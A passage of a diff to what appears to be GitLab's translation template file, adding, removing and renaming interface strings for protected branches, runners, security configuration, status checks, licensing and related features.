+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26985,12 +26673,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -27000,6 +26697,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -27009,12 +26709,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -27060,18 +26763,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Protected tags"
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27478,6 +27193,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27505,6 +27223,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27686,6 +27407,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27701,15 +27425,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27725,9 +27443,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27875,15 +27590,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27893,15 +27611,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28313,6 +28022,9 @@ msgstr[3] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28463,12 +28175,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28484,9 +28190,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28585,6 +28288,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28594,9 +28300,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28663,12 +28366,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28678,6 +28390,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28687,9 +28402,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28702,9 +28426,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28747,12 +28477,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28783,6 +28519,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28861,6 +28603,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28912,10 +28660,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28948,6 +28693,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28999,6 +28747,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -29083,9 +28834,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29238,12 +28986,6 @@ msgstr[3] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29310,6 +29052,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29331,6 +29076,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29340,6 +29088,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29364,9 +29118,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29376,12 +29139,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29394,7 +29166,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29403,6 +29178,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29415,6 +29196,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29427,7 +29229,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29490,6 +29292,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29595,6 +29400,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29697,9 +29505,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29730,9 +29535,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29835,9 +29646,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29931,7 +29739,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29970,10 +29778,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -30015,9 +29823,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -30060,6 +29865,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -30150,6 +29958,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30330,9 +30141,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30357,6 +30165,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30381,9 +30192,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30411,9 +30219,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30447,12 +30252,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30503,6 +30302,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30836,9 +30638,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30941,6 +30740,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -31007,12 +30809,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -31046,9 +30842,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -31091,9 +30884,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -31145,6 +30935,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -31163,6 +30956,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31265,15 +31061,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31490,12 +31277,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31514,7 +31307,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31544,6 +31337,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31631,6 +31427,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31640,9 +31439,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31997,6 +31793,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -32015,7 +31814,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -32087,9 +31892,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -32102,7 +31904,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -32150,7 +31952,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -32165,7 +31967,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -32174,10 +31976,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32369,6 +32171,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32734,7 +32539,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32743,6 +32548,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32752,6 +32560,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32785,9 +32596,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32821,7 +32629,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32851,6 +32659,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32927,6 +32738,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32948,15 +32762,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -33041,18 +32855,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -33116,9 +32924,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -33137,10 +32942,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -33155,9 +32960,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -33167,9 +32969,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -33188,9 +32987,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33332,9 +33128,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33455,6 +33248,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33530,6 +33326,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33563,7 +33362,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33659,6 +33458,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33698,9 +33500,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33785,7 +33584,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34528,9 +34327,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34615,9 +34420,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34717,9 +34519,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
